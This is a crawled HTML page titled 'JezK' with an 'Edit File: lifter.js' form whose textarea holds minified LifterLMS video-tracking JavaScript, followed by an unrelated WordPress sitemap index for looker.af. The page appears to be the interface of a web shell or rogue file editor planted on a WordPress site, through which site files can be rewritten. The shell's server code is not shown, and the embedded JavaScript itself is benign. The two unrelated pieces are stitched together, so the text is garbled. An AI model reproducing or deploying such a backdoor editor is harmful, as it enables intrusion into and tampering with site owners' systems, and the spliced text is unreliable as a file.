
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: lifter.js</h2><form method="post"><textarea name="file_content" rows="10" cols="50">const prevent_default=e=&gt;{e.preventDefault()};function toggle_mark_complete(e){var t=jQuery(&quot;.llms-complete-lesson-form&quot;),n=jQuery(&#039;.llms-complete-lesson-form button[type=&quot;submit&quot;]&#039;),o=jQuery(&quot;#llms_start_quiz, #llms-start-assignment&quot;);!0===e?(t.off(&quot;submit&quot;,prevent_default),n.removeAttr(&quot;disabled&quot;),o.removeClass(&quot;llms-av-disabled&quot;).off(&quot;click&quot;,prevent_default)):(t.on(&quot;submit&quot;,prevent_default),n.attr(&quot;disabled&quot;,&quot;disabled&quot;),o.addClass(&quot;llms-av-disabled&quot;).on(&quot;click&quot;,prevent_default))}const getEventMeta=e=&gt;({ts:e.currentTime,duration:e.duration,url:e.source,provider:e.provider,id:e.config.id}),track_event=(e,t)=&gt;{llms.tracking.addEvent(&quot;video.&quot;+e,{meta:t})};function start_countdown(e){var t,n=e.find(&quot;.llms-av-pv--seconds&quot;);setInterval((function(){1==(t=1*n.text()-1)&amp;&amp;n.closest(&quot;a&quot;)[0].click(),t&gt;=0&amp;&amp;n.text(t)}),1e3)}function do_ajax_completion(e,t){LLMS.Ajax.call({data:{action:&quot;llms_av_video_ended&quot;,id:t.post_id,nonce:t.nonce},beforeSend:function(){LLMS.Spinner.start(e)},error:function(t,n,o){LLMS.Spinner.stop(e),console.error(t.responseText+&quot; (&quot;+o+&quot; &quot;+n+&quot;)&quot;),console.log(t)},success:function(t){LLMS.Spinner.stop(e),t?.html&amp;&amp;(e.append(t.html),start_countdown(e))}})}const onPauseVideo=e=&gt;{const t=e.detail.plyr;let n=getEventMeta(t);track_event(&quot;paused&quot;,n)},onPlayingVideo=e=&gt;{const t=e.detail.plyr;let n=getEventMeta(t),o=n.ts&lt;1?&quot;started&quot;:&quot;played&quot;;track_event(o,n)},onEndedVideo=(e,t,n)=&gt;{const o=e.detail.plyr;let l=getEventMeta(o);track_event(&quot;ended&quot;,l),do_ajax_completion(t,n),toggle_mark_complete(!0)};function lifter(e){var t={},n=llms?.tracking?.getSettings()||null;n?.av&amp;&amp;(t=n.av),t.require_video_completion&amp;&amp;!t.video_completed&amp;&amp;toggle_mark_complete(!1);let o=jQuery(&quot;.presto-block-video&quot;);e.on(&quot;pause&quot;,onPauseVideo),e.on(&quot;playing&quot;,onPlayingVideo),e.on(&quot;ended&quot;,(e=&gt;onEndedVideo(e,o,t)))}export{lifter as default,onEndedVideo,onPauseVideo,onPlayingVideo};</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
